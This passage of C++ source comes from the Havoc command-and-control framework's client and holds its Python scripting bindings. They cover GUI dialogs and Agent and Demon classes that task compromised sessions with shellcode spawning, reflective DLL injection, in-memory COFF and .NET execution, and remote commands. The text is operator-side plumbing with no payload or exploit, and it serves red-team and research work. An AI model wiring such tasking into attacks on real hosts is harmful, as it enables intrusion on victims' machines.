!HavocX::HavocUserInterface || !HavocX::HavocUserInterface->menubar ) { Py_RETURN_NONE; } Py_ssize_t tuple_size = PyTuple_Size(args); title = (const char *)PyUnicode_AsUTF8(PyTuple_GetItem(args, 0)); auto *menubar= HavocX::HavocUserInterface->menubar; auto tab = menubar->addMenu(title); if ( !tab ) { Py_RETURN_NONE; } for (Py_ssize_t i = 1; i < tuple_size; i+=2) { const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); PyObject* callable_obj = PyTuple_GetItem(args, i + 1); if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } auto tupleCallback = new QAction( HavocX::HavocUserInterface->HavocWindow ); tupleCallback->setObjectName(QString::fromUtf8(string_obj)); tupleCallback->setText(string_obj); tab->addAction(tupleCallback); QMainWindow::connect( tupleCallback, &QAction::triggered, HavocX::HavocUserInterface->HavocWindow, [callable_obj]() { PyObject_CallFunctionObjArgs(callable_obj, nullptr); }); } Py_RETURN_NONE; } PyObject* PythonAPI::HavocUI::Core::MessageBox(PyObject *self, PyObject *args) { char *title = nullptr, *content = nullptr; if( !PyArg_ParseTuple( args, "ss", &title, &content ) ) { Py_RETURN_NONE; } QFile messageBoxStyleSheets(":/stylesheets/MessageBox"); QMessageBox messageBox; messageBoxStyleSheets.open(QIODevice::ReadOnly); messageBox.setWindowTitle(title); messageBox.setText(content); messageBox.setIcon(QMessageBox::Information); messageBox.setStyleSheet(messageBoxStyleSheets.readAll()); messageBox.exec(); Py_RETURN_NONE; } PyObject* PythonAPI::HavocUI::Core::ErrorMessage(PyObject *self, PyObject *args) { char *message = nullptr; if( !PyArg_ParseTuple( args, "s", &message ) ) { Py_RETURN_NONE; } QErrorMessage* errorMessage = new QErrorMessage(HavocX::HavocUserInterface->HavocWindow); errorMessage->showMessage(message); Py_RETURN_NONE; } PyObject* PythonAPI::HavocUI::Core::QuestionDialog(PyObject *self, PyObject *args) { char *title = nullptr, *content = nullptr; if( !PyArg_ParseTuple( args, "ss", &title, &content ) ) { Py_RETURN_NONE; } QMessageBox::StandardButton result = QMessageBox::question(HavocX::HavocUserInterface->HavocWindow, title, content, QMessageBox::Yes | QMessageBox::No); if (result == QMessageBox::Yes) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } PyObject* PythonAPI::HavocUI::Core::InputDialog(PyObject *self, PyObject *args) { char *title = nullptr, *content = nullptr; if( !PyArg_ParseTuple( args, "ss", &title, &content ) ) { Py_RETURN_NONE; } QString data = QInputDialog::getText( HavocX::HavocUserInterface->HavocWindow, title, content); return PyBytes_FromString(data.toStdString().c_str()); } PyObject* PythonAPI::HavocUI::Core::OpenFileDialog(PyObject *self, PyObject *args) { char *title = nullptr; if( !PyArg_ParseTuple( args, "s", &title) ) { Py_RETURN_NONE; } QString data = QFileDialog::getOpenFileName( HavocX::HavocUserInterface->HavocWindow, title, QDir::homePath()); return PyBytes_FromString(data.toStdString().c_str()); } PyObject* PythonAPI::HavocUI::Core::SaveFileDialog(PyObject *self, PyObject *args) { char *title = nullptr; if( !PyArg_ParseTuple( args, "s", &title) ) { Py_RETURN_NONE; } QString data = QFileDialog::getSaveFileName( HavocX::HavocUserInterface->HavocWindow, title, QDir::homePath()); return PyBytes_FromString(data.toStdString().c_str()); } PyObject* PythonAPI::HavocUI::Core::ColorDialog(PyObject *self, PyObject *args) { QColorDialog data = QColorDialog(HavocX::HavocUserInterface->HavocWindow); QColor sel = data.getColor(); if (sel.isValid()) { QString colorHex = sel.name(); return PyBytes_FromString(colorHex.toStdString().c_str()); } else { Py_RETURN_NONE; } } PyObject* PythonAPI::HavocUI::Core::ProgressDialog(PyObject *self, PyObject *args) { char *title = nullptr; char *text= nullptr; int max_num = 0; PyObject* callable_obj = nullptr; if( !PyArg_ParseTuple( args, "ssOi", &title, &text, &callable_obj, &max_num) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QProgressDialog* dialog = new QProgressDialog(title, text, 0, max_num, HavocX::HavocUserInterface->HavocWindow); dialog->setAutoClose(false); QTimer* timer = new QTimer(); QMainWindow::connect( timer, &QTimer::timeout, HavocX::HavocUserInterface->HavocWindow, [callable_obj, dialog, timer]() { PyObject *pResult = PyObject_CallFunctionObjArgs(callable_obj, nullptr); if (pResult != NULL) { if (PyLong_Check(pResult)) { long resultInt = PyLong_AsLong(pResult); dialog->setValue(resultInt); if (resultInt < 0) { dialog->close(); timer->stop(); } } } else { PyErr_SetString(PyExc_TypeError, "Function needs to return an int"); dialog->close(); timer->stop(); } }); QPushButton *cancelButton = dialog->findChild(); QMainWindow::connect( cancelButton, &QPushButton::clicked, HavocX::HavocUserInterface->HavocWindow, [dialog, timer]() { dialog->close(); timer->stop(); }); timer->start(max_num); dialog->exec(); Py_RETURN_NONE; } PyMODINIT_FUNC PythonAPI::HavocUI::PyInit_HavocUI(void) { PyObject* Module = PyModule_Create2( &PythonAPI::HavocUI::PyModule::havocui, PYTHON_API_VERSION ); if ( PyType_Ready( &PyWidgetClass_Type ) < 0 ) spdlog::error( "Couldn't check if WidgetClass is ready" ); else PyModule_AddObject( Module, "Widget", (PyObject*) &PyWidgetClass_Type ); if ( PyType_Ready( &PyDialogClass_Type ) < 0 ) spdlog::error( "Couldn't check if DialogClass is ready" ); else PyModule_AddObject( Module, "Dialog", (PyObject*) &PyDialogClass_Type ); if ( PyType_Ready( &PyLoggerClass_Type ) < 0 ) spdlog::error( "Couldn't check if LoggerClass is ready" ); else PyModule_AddObject( Module, "Logger", (PyObject*) &PyLoggerClass_Type ); if ( PyType_Ready( &PyTreeClass_Type ) < 0 ) spdlog::error( "Couldn't check if TreeClass is ready" ); else PyModule_AddObject( Module, "Tree", (PyObject*) &PyTreeClass_Type ); return Module; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/PyAgentClass.cc000066400000000000000000000154231467014221700251600ustar00rootroot00000000000000 #define PY_SSIZE_T_CLEAN #include #include #include #include #include PyMemberDef PyAgentClass_members[] = { { "CONSOLE_INFO", T_INT, offsetof( PyAgentClass, CONSOLE_INFO ), 0, "Console message type info" }, { "CONSOLE_ERROR", T_INT, offsetof( PyAgentClass, CONSOLE_ERROR ), 0, "Console message type error" }, { "CONSOLE_TASK", T_INT, offsetof( PyAgentClass, CONSOLE_TASK ), 0, "Console message type task" }, { NULL }, }; PyMethodDef PyAgentClass_methods[] = { { "ConsoleWrite", ( PyCFunction ) AgentClass_ConsoleWrite, METH_VARARGS, "Prints messages to the demon sessions console" }, { "Command", ( PyCFunction ) AgentClass_Command, METH_VARARGS, "Send a command to the agent" }, { NULL }, }; PyTypeObject PyAgentClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havoc.Agent", /* tp_name */ sizeof( PyAgentClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) AgentClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Demon Session Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyAgentClass_methods, /* tp_methods */ PyAgentClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) AgentClass_init, /* tp_init */ 0, /* tp_alloc */ AgentClass_new, /* tp_new */ }; void AgentClass_dealloc( PPyAgentClass self ) { Py_XDECREF( self->AgentID ); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } PyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyAgentClass self; self = ( PPyAgentClass ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds ) { PCHAR AgentID = nullptr; if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; /* TODO: add keyword "Agent" to tell it what agent it should check for * just in case. */ if ( ! PyArg_ParseTuple( args, "s", &AgentID ) ) return -1; for ( auto & Agent : HavocX::Teamserver.Sessions ) { if ( Agent.Name.compare( AgentID ) == 0 ) { AllocMov( self->AgentID, Agent.Name.toStdString().c_str(), Agent.Name.size() ); self->CONSOLE_INFO = 1; self->CONSOLE_ERROR = 2; self->CONSOLE_TASK = 3; } } return 0; } PyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args ) { u32 Type = 0; char* Message = NULL; if( ! PyArg_ParseTuple( args, "is", &Type, &Message ) ) Py_RETURN_NONE; for ( auto& d : HavocX::Teamserver.Sessions ) { if ( d.Name.compare( self->AgentID ) == 0 ) { if ( Type == self->CONSOLE_INFO ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Green( "[+]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_ERROR ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Red( "[!]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_TASK ) { auto TaskID = QString( Util::gen_random( 8 ).c_str() ); d.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Message; return PyUnicode_FromString( TaskID.toStdString().c_str() ); } } } Py_RETURN_NONE; } PyObject* AgentClass_Command( PPyAgentClass self, PyObject *args ) { PCHAR TaskID = NULL; PCHAR Name = NULL; PCHAR CommandArg = NULL; auto CommandLen = 0; auto Command = QByteArray(); if ( ! PyArg_ParseTuple( args, "ssO", &TaskID, &Name, &CommandArg ) ) Py_RETURN_NONE; CommandLen = PyBytes_GET_SIZE( CommandArg ); CommandArg = PyBytes_AS_STRING( CommandArg ); Command = QByteArray( CommandArg, CommandLen ); for ( auto& d : HavocX::Teamserver.Sessions ) { if ( d.Name.compare( self->AgentID ) == 0 ) { /* send command to agent handler */ d.InteractedWidget->DemonCommands->Execute.AgentCommand( QMap{ { "TaskID", TaskID }, { "CommandLine", "" }, { "DemonID", d.Name.toStdString() }, { "Command", Name }, { "CommandArg", Command.toBase64().toStdString() }, } ); break; } } Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/PyDemonClass.cc000066400000000000000000000537041467014221700251700ustar00rootroot00000000000000 #define PY_SSIZE_T_CLEAN #include #include #include #include #include #include PyMemberDef PyDemonClass_members[] = { { "Listener", T_STRING, offsetof( PyDemonClass, Listener ), 0, "Listener name" }, { "DemonID", T_STRING, offsetof( PyDemonClass, DemonID ), 0, "Listener name" }, { "ExternalIP", T_STRING, offsetof( PyDemonClass, ExternalIP ), 0, "External IP" }, { "InternalIP", T_STRING, offsetof( PyDemonClass, InternalIP ), 0, "Internal IP" }, { "User", T_STRING, offsetof( PyDemonClass, User ), 0, "Username" }, { "Computer", T_STRING, offsetof( PyDemonClass, Computer ), 0, "Computer" }, { "Domain", T_STRING, offsetof( PyDemonClass, Domain ), 0, "Domain" }, { "OS", T_STRING, offsetof( PyDemonClass, OS ), 0, "Windows Version" }, { "OSBuild", T_STRING, offsetof( PyDemonClass, OSBuild ), 0, "Windows OS Build" }, { "OSArch", T_STRING, offsetof( PyDemonClass, OSArch ), 0, "Windows Architecture" }, { "ProcessName", T_STRING, offsetof( PyDemonClass, ProcessName ), 0, "Process Name" }, { "ProcessID", T_STRING, offsetof( PyDemonClass, ProcessID ), 0, "Process ID" }, { "ProcessArch", T_STRING, offsetof( PyDemonClass, ProcessArch ), 0, "Process Architecture" }, { "CONSOLE_INFO", T_INT, offsetof( PyDemonClass, CONSOLE_INFO ), 0, "Console message type info" }, { "CONSOLE_ERROR", T_INT, offsetof( PyDemonClass, CONSOLE_ERROR ), 0, "Console message type error" }, { "CONSOLE_TASK", T_INT, offsetof( PyDemonClass, CONSOLE_TASK ), 0, "Console message type task" }, { NULL }, }; PyMethodDef PyDemonClass_methods[] = { { "ConsoleWrite", ( PyCFunction ) DemonClass_ConsoleWrite, METH_VARARGS, "Prints messages to the demon sessions console" }, { "ProcessCreate", ( PyCFunction ) DemonClass_ProcessCreate, METH_VARARGS, "Creates a Process" }, { "InlineExecute", ( PyCFunction ) DemonClass_InlineExecute, METH_VARARGS, "Executes a coff file in the context of the demon sessions" }, { "InlineExecuteGetOutput", ( PyCFunction ) DemonClass_InlineExecuteGetOutput, METH_VARARGS, "Executes a coff file in the context of the demon sessions and get the output via a callback" }, { "DllSpawn", ( PyCFunction ) DemonClass_DllSpawn, METH_VARARGS, "Spawn and injects a reflective dll and get output from it" }, { "DllInject", ( PyCFunction ) DemonClass_DllInject, METH_VARARGS, "Injects a reflective dll into a specified process" }, { "DotnetInlineExecute", ( PyCFunction ) DemonClass_DotnetInlineExecute, METH_VARARGS, "Executes a dotnet assembly in the context of the demon sessions" }, { "Command", ( PyCFunction ) DemonClass_Command, METH_VARARGS, "Run a command" }, { "CommandGetOutput", ( PyCFunction ) DemonClass_CommandGetOutput, METH_VARARGS, "Run a command and retreive the output" }, { "ShellcodeSpawn", ( PyCFunction ) DemonClass_ShellcodeSpawn, METH_VARARGS, "Executes shellcode spawning a new process" }, { NULL }, }; PyTypeObject PyDemonClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havoc.Demon", /* tp_name */ sizeof( PyDemonClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) DemonClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Demon Session Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyDemonClass_methods, /* tp_methods */ PyDemonClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) DemonClass_init, /* tp_init */ 0, /* tp_alloc */ DemonClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void DemonClass_dealloc( PPyDemonClass self ) { Py_XDECREF( self->Listener ); Py_XDECREF( self->DemonID ); Py_XDECREF( self->ExternalIP ); Py_XDECREF( self->InternalIP ); Py_XDECREF( self->User ); Py_XDECREF( self->Computer ); Py_XDECREF( self->Domain ); Py_XDECREF( self->OS ); Py_XDECREF( self->OSBuild ); Py_XDECREF( self->OSArch ); Py_XDECREF( self->ProcessName ); Py_XDECREF( self->ProcessID ); Py_XDECREF( self->ProcessArch ); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } PyObject* DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyDemonClass self; self = ( PPyDemonClass ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds ) { if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; char* DemonID = NULL; auto DemonSessions = HavocX::Teamserver.Sessions; uint32_t NumberOfSessions = DemonSessions.size(); const char* kwdlist[] = { "DemonID", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s", const_cast(kwdlist), &DemonID ) ) return -1; for ( int i = 0; i < NumberOfSessions; ++i ) { if ( DemonSessions[ i ].Name.compare( DemonID ) == 0 ) { /* seems like we are trying to use an 3rd party agent. */ if ( DemonSessions[ i ].MagicValue != DemonMagicValue ) { spdlog::error( "[PyError] specified id is not a demon agent" ); PyErr_SetString( PyExc_TypeError, "specified id is not a demon agent" ); return -1; } AllocMov( self->Listener, DemonSessions[ i ].Listener.toStdString().c_str(), DemonSessions[ i ].Listener.size() ); AllocMov( self->DemonID, DemonSessions[ i ].Name.toStdString().c_str(), DemonSessions[ i ].Name.size() ); AllocMov( self->ExternalIP, DemonSessions[ i ].External.toStdString().c_str(), DemonSessions[ i ].External.size() ); AllocMov( self->InternalIP, DemonSessions[ i ].Internal.toStdString().c_str(), DemonSessions[ i ].Internal.size() ); AllocMov( self->User, DemonSessions[ i ].User.toStdString().c_str(), DemonSessions[ i ].User.size() ); AllocMov( self->Computer, DemonSessions[ i ].Computer.toStdString().c_str(), DemonSessions[ i ].Computer.size() ); AllocMov( self->Domain, DemonSessions[ i ].Domain.toStdString().c_str(), DemonSessions[ i ].Domain.size() ); AllocMov( self->OS, DemonSessions[ i ].OS.toStdString().c_str(), DemonSessions[ i ].OS.size() ); AllocMov( self->OSBuild, DemonSessions[ i ].OSBuild.toStdString().c_str(), DemonSessions[ i ].OSBuild.size() ); AllocMov( self->OSArch, DemonSessions[ i ].OSArch.toStdString().c_str(), DemonSessions[ i ].OSArch.size() ); AllocMov( self->ProcessName, DemonSessions[ i ].Process.toStdString().c_str(), DemonSessions[ i ].Process.size() ); AllocMov( self->ProcessID, DemonSessions[ i ].PID.toStdString().c_str(), DemonSessions[ i ].PID.size() ); AllocMov( self->ProcessArch, DemonSessions[ i ].Arch.toStdString().c_str(), DemonSessions[ i ].Arch.size() ); self->CONSOLE_INFO = 1; self->CONSOLE_ERROR = 2; self->CONSOLE_TASK = 3; } } return 0; } // Methods // Demon.shell( TaskID: str, ShellCommands: str ) PyObject* DemonClass_Shell( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* ShellArgs = NULL; if ( ! PyArg_ParseTuple( args, "ss", &TaskID, &ShellArgs ) ) return NULL; for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { // Sessions.InteractedWidget->DemonCommands->Execute.Spawn( TaskID, R"(C:\Windows\System32\cmd.exe \c )" + QString( ShellArgs ) ); break; } } Py_RETURN_NONE; } // Demon.InlineExecute( TaskID: str, EntryFunc: str, Path: str, Args: str, Threaded: bool ) PyObject* DemonClass_InlineExecute( PPyDemonClass self, PyObject *args ) { spdlog::debug( "[PyApi] Demon::InlineExecute" ); char* TaskID = nullptr; char* EntryFunc = nullptr; char* Path = nullptr; PyObject* PyArgBytes = nullptr; auto Flags = QString(); PyObject* Threaded = nullptr; if ( ! PyArg_ParseTuple( args, "sssSO", &TaskID, &EntryFunc, &Path, &PyArgBytes, &Threaded ) ) return nullptr; if ( PyObject_IsTrue( Threaded ) == true ) { Flags = "threaded"; spdlog::debug( "execute object file in threaded" ); } else { Flags = "non-threaded"; spdlog::debug( "execute object file in non-threaded" ); } for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( Path ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open object file path: " + QString( Path ) ); } else { auto ArgSize = PyBytes_GET_SIZE( PyArgBytes ); auto ObjArgs = PyBytes_AS_STRING( PyArgBytes ); auto ArgsByteArray = QByteArray( ObjArgs, ArgSize ); Sessions.InteractedWidget->DemonCommands->Execute.InlineExecute( ( char* ) TaskID, ( char* ) EntryFunc, ( char* ) Path, ArgsByteArray, Flags ); } break; } } Py_RETURN_NONE; } PyObject* DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObject *args ) { spdlog::debug( "[PyApi] Demon::InlineExecuteGetOutput" ); char* TaskID = nullptr; char* EntryFunc = nullptr; char* Path = nullptr; PyObject* PyArgBytes = nullptr; auto Flags = QString(); PyObject* Callback = nullptr; if ( ! PyArg_ParseTuple( args, "OssS", &Callback, &EntryFunc, &Path, &PyArgBytes ) ) { spdlog::error( "Invalid parameters on InlineExecuteGetOutput" ); return nullptr; } // InlineExecuteGetOutput only works in "non-threaded" mode // this is to avoid "RequestID" mixups Flags = "non-threaded"; if ( ! PyCallable_Check( Callback ) ) { spdlog::error( "The callback is not callable" ); return nullptr; } for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( Path ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open object file path: " + QString( Path ) ); } else { auto ArgSize = PyBytes_GET_SIZE( PyArgBytes ); auto ObjArgs = PyBytes_AS_STRING( PyArgBytes ); auto ArgsByteArray = QByteArray( ObjArgs, ArgSize ); // create a new TaskID auto TaskID = QString( Util::gen_random( 8 ).c_str() ); // save it the TaskID and the callback function Sessions.TaskIDToPythonCallbacks.insert(pair(TaskID, Callback)); Py_XINCREF(Callback); Sessions.InteractedWidget->DemonCommands->Execute.InlineExecuteGetOutput( ( char* ) TaskID.toStdString().c_str(), ( char* ) EntryFunc, ( char* ) Path, ArgsByteArray, Flags ); return PyUnicode_FromString( TaskID.toStdString().c_str() ); } break; } } Py_RETURN_NONE; } // Demon.DotnetInlineExecute( TaskID: str, Path: str, Args: str ) PyObject* DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Path = NULL; char* Arguments = NULL; if ( ! PyArg_ParseTuple( args, "sss", &TaskID, &Path, &Arguments ) ) return NULL; for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { Sessions.InteractedWidget->DemonCommands->Execute.AssemblyInlineExecute( TaskID, Path, Arguments ); break; } } Py_RETURN_NONE; } PyObject* DemonClass_Command( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Command = NULL; if ( ! PyArg_ParseTuple( args, "ss", &TaskID, &Command ) ) return NULL; for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( self->DemonID ) == 0 ) { Session.InteractedWidget->DemonCommands->DispatchCommand( true, TaskID, Command ); break; } } Py_RETURN_NONE; } PyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Command = NULL; PyObject* Callback = nullptr; if ( ! PyArg_ParseTuple( args, "ssO", &TaskID, &Command, &Callback) ) return NULL; if ( ! PyCallable_Check( Callback ) ) { spdlog::error( "The callback is not callable" ); return nullptr; } for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( self->DemonID ) == 0 ) { //auto TaskID = QString( Util::gen_random( 8 ).c_str() ); // TODO: In the future if the Demon returns back the command // ID this section can be changed to a list in the same way // of BOF_callback. Currently there is no way to match a request // to data received for regular commands to we hook the callback // to work with the next one received. HavocX::callbackMessage = Callback; Py_XINCREF(Callback); Session.InteractedWidget->DemonCommands->DispatchCommand( true, TaskID, Command ); break; } } Py_RETURN_NONE; } // ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) PyObject* DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* InjectTechnique = NULL; char* TargetArch = NULL; char* ShellcodePath = NULL; char* ShellcodeArgs = NULL; int ArgSize = 0; auto ArgsByteArray = QByteArray(); spdlog::debug( "Running ShellcodeSpawn from python API" ); if ( ! PyArg_ParseTuple( args, "ssssO", &TaskID, &InjectTechnique, &TargetArch, &ShellcodePath, &ShellcodeArgs ) ) return NULL; ArgSize = PyBytes_GET_SIZE( ShellcodeArgs ); ShellcodeArgs = PyBytes_AS_STRING( ShellcodeArgs ); ArgsByteArray = QByteArray( ShellcodeArgs, ArgSize ); for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( ShellcodePath ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open shellcode path: " + QString( ShellcodePath ) ); } else { Sessions.InteractedWidget->DemonCommands->Execute.ShellcodeSpawn( TaskID, InjectTechnique, TargetArch, ShellcodePath, ArgsByteArray ); } break; } } Py_RETURN_NONE; } // Demon.DllInject( TaskID: str, Pid: str, DllPath: str, DllArgs: str ) PyObject* DemonClass_DllInject( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Pid = NULL; char* DllPath = NULL; char* DllArgs = NULL; if ( ! PyArg_ParseTuple( args, "ssss", &TaskID, &Pid, &DllPath, &DllArgs ) ) return NULL; for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { Sessions.InteractedWidget->DemonCommands->Execute.DllInject( TaskID, Pid, DllPath, DllArgs ); break; } } Py_RETURN_NONE; } // Demon.DllInject( TaskID: str, DllPath: str, DllArgs: str ) PyObject* DemonClass_DllSpawn( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* DllPath = NULL; char* DllArgs = NULL; int ArgSize = 0; auto ArgsByteArray = QByteArray(); if ( ! PyArg_ParseTuple( args, "ssO", &TaskID, &DllPath, &DllArgs ) ) return NULL; ArgSize = PyBytes_GET_SIZE( DllArgs ); DllArgs = PyBytes_AS_STRING( DllArgs ); ArgsByteArray = QByteArray( DllArgs, ArgSize ); for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( DllPath ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open dll path: " + QString( DllPath ) ); } else { Sessions.InteractedWidget->DemonCommands->Execute.DllSpawn( TaskID, DllPath, ArgsByteArray ); } break; } } Py_RETURN_NONE; } // Demon.ProcessCreate( TaskID: str App: str, Cmdline: str, Suspended: bool, Piped: bool, Verbose: bool ) PyObject* DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args ) { PCHAR TaskID = nullptr; PCHAR App = nullptr; PCHAR CmdLine = nullptr; PyObject* Suspended = nullptr; PyObject* Piped = nullptr; PyObject* Verbose = nullptr; auto ProcArg = QString(); if ( ! PyArg_ParseTuple( args, "sssOOO", &TaskID, &App, &CmdLine, &Suspended, &Piped, &Verbose ) ) Py_RETURN_NONE; if ( PyObject_IsTrue( Suspended ) ) ProcArg += "4"; else ProcArg += "0"; if ( ! QString( App ).isEmpty() ) ProcArg += ";" + QString( App ); else ProcArg += ";"; if ( PyObject_IsTrue( Verbose ) ) ProcArg += ";TRUE"; else ProcArg += ";FALSE"; if ( PyObject_IsTrue( Piped ) ) ProcArg += ";TRUE"; else ProcArg += ";FALSE"; ProcArg += ";" + QString( CmdLine ).toUtf8().toBase64(); for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { Sessions.InteractedWidget->DemonCommands->Execute.ProcModule( TaskID, 4, ProcArg ); break; } } Py_RETURN_NONE; } // Other Methods PyObject* DemonClass_ConsoleWrite( PPyDemonClass self, PyObject *args ) { u32 Type = 0; char* Message = NULL; if( ! PyArg_ParseTuple( args, "is", &Type, &Message ) ) Py_RETURN_NONE; for ( auto& d : HavocX::Teamserver.Sessions ) { if ( d.Name.compare( self->DemonID ) == 0 ) { if ( Type == self->CONSOLE_INFO ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Green( "[+]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_ERROR ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Red( "[!]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_TASK ) { auto TaskID = QString( Util::gen_random( 8 ).c_str() ); d.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Message; return PyUnicode_FromString( TaskID.toStdString().c_str() ); } } } Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/PythonApi/PythonApi.cc000066400000000000000000000104411467014221700245310ustar00rootroot00000000000000#include namespace emb { PyObject* Stdout_write(PyObject* self, PyObject* args) { std::size_t written(0); Stdout* selfimpl = reinterpret_cast(self); if (selfimpl->write) { char* data; if (!PyArg_ParseTuple(args, "s", &data)) return 0; std::string str(data); selfimpl->write(str); written = str.size(); } return PyLong_FromSize_t(written); } PyObject* Stdout_flush(PyObject* self, PyObject* args) { // no-op return Py_BuildValue(""); } PyMethodDef Stdout_methods[] = { {"write", Stdout_write, METH_VARARGS, "sys.stdout.write"}, {"flush", Stdout_flush, METH_VARARGS, "sys.stdout.flush"}, {0, 0, 0, 0} // sentinel }; PyTypeObject StdoutType = { PyVarObject_HEAD_INIT(0, 0) "emb.StdoutType", /* tp_name */ sizeof(Stdout), /* tp_basicsize */ 0, /* tp_itemsize */ 0, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT, /* tp_flags */ "emb.Stdout objects", /* tp_doc */ 0, /* tp_traverse */ 0, /* 